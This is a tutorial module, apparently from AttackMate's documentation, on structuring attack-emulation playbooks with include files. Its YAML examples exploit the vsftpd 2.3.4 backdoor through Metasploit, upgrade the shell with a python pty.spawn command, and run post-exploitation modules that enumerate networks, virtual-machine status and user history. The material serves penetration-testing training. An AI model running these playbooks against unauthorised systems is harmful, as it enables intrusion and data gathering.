

# Module 5: Modular Playbooks with `include`

---

## Why Modularize Playbooks?

As playbooks grow, keeping everything in a single file becomes unwieldy. The same post-exploitation block (PTY upgrade, privilege check, data gathering) might be useful after multiple different exploits. Copy-pasting it into every playbook means maintaining the same code in multiple places.

The `include` command solves this by letting you split playbooks into reusable sub-files.

Benefits of modular playbooks:

- **Reuse:** a single `gather_commands.yml` can be called from any playbook that has an active session
- **Readability:** the main playbook describes the high-level attack flow; the details are in separate files
- **Maintainability:** update post-exploitation logic in one place, and every playbook that includes it benefits

---

## The `include` Command

The `include` command reads another YAML file and executes its commands as if they were inlined at that point in the playbook.

```
- type: include
  local_path: ./includes/gather_commands.yml
```

## Structure of an Include File

An include file contains only a `commands:` list. It does **not** have a `vars:` section, because variables are shared with the calling playbook.

```
# gather_commands.yml
commands:
  - type: msf-module
    cmd: post/linux/gather/enum_network
    options:
      SESSION: $GATHER_SESSION

  - type: msf-module
    cmd: post/linux/gather/checkvm
    options:
      SESSION: $GATHER_SESSION

  - type: msf-module
    cmd: post/linux/gather/enum_users_history
    options:
      SESSION: $GATHER_SESSION
```

**Note:** Include files share the calling playbook's variable store. Any variable set before the `include` call is available inside the included file, and any variable set inside the included file is available after it returns.

## Passing Context Between Includes

Because variables are shared, you communicate between the main playbook and its include files using `setvar`. The convention is to set the variables that the include file depends on immediately before calling it.

```
# main_playbook.yml
commands:
  # Run the exploit and name the session
  - type: msf-module
    cmd: exploit/unix/ftp/vsftpd_234_backdoor
    payload: cmd/unix/interact
    options:
      RHOSTS: $TARGET
    creates_session: shell

  # Set the variable that upgrade_shell.yml expects
  - type: setvar
    variable: UPGRADESESSION
    cmd: shell

  # Call the include file, which reads $UPGRADESESSION
  - type: include
    local_path: ./includes/upgrade_shell.yml

  # Set the variable that gather_commands.yml expects
  - type: setvar
    variable: GATHER_SESSION
    cmd: $LAST_MSF_SESSION

  # Gather information
  - type: include
    local_path: ./includes/gather_commands.yml
```

This pattern keeps the main playbook clean and makes the include files self-documenting: each file's expected input variables are clearly referenced inside it.

## Practical Example: Shell Upgrade Include

A common reusable include file upgrades a raw shell to a PTY by spawning a proper bash session:

```
# includes/upgrade_shell.yml
commands:
  - type: msf-session
    cmd: python -c "import pty;pty.spawn(\"/bin/bash\");"
    session: $UPGRADESESSION

  - type: msf-session
    cmd: export SHELL=bash
    session: $UPGRADESESSION

  - type: msf-session
    cmd: export TERM=xterm256-color
    session: $UPGRADESESSION

  - type: msf-session
    cmd: stty rows 38 columns 116
    session: $UPGRADESESSION
```

And the corresponding calling playbook sets `$UPGRADESESSION` before the include:

```
commands:
  - type: msf-module
    cmd: exploit/unix/ftp/vsftpd_234_backdoor
    payload: cmd/unix/interact
    options:
      RHOSTS: $TARGET
    creates_session: shell

  - type: setvar
    variable: UPGRADESESSION
    cmd: shell

  - type: include
    local_path: ./includes/upgrade_shell.yml

# Shell is now fully interactive
- type: msf-session
  session: shell
  cmd: ps -aux
```

---

## Tips for Organizing Include Files

- Put include files in an `includes/` subdirectory next to the playbook that uses them
- Name them after what they do, not which exploit they pair with: `upgrade_shell.yml` and `gather_commands.yml` can be used from any exploit
- Document the required input variables at the top of each include file with a comment
- Use `local_path` with a relative path so the playbook and its includes can be moved together

```
# At the top of gather_commands.yml:
# Required variables:
#   GATHER_SESSION: numeric Metasploit session ID ($LAST_MSF_SESSION)
commands:
  - type: msf-module
    cmd: post/linux/gather/enum_network
    options:
      SESSION: $GATHER_SESSION
```

**Further reading:** [include command reference](#) in the AttackMate documentation.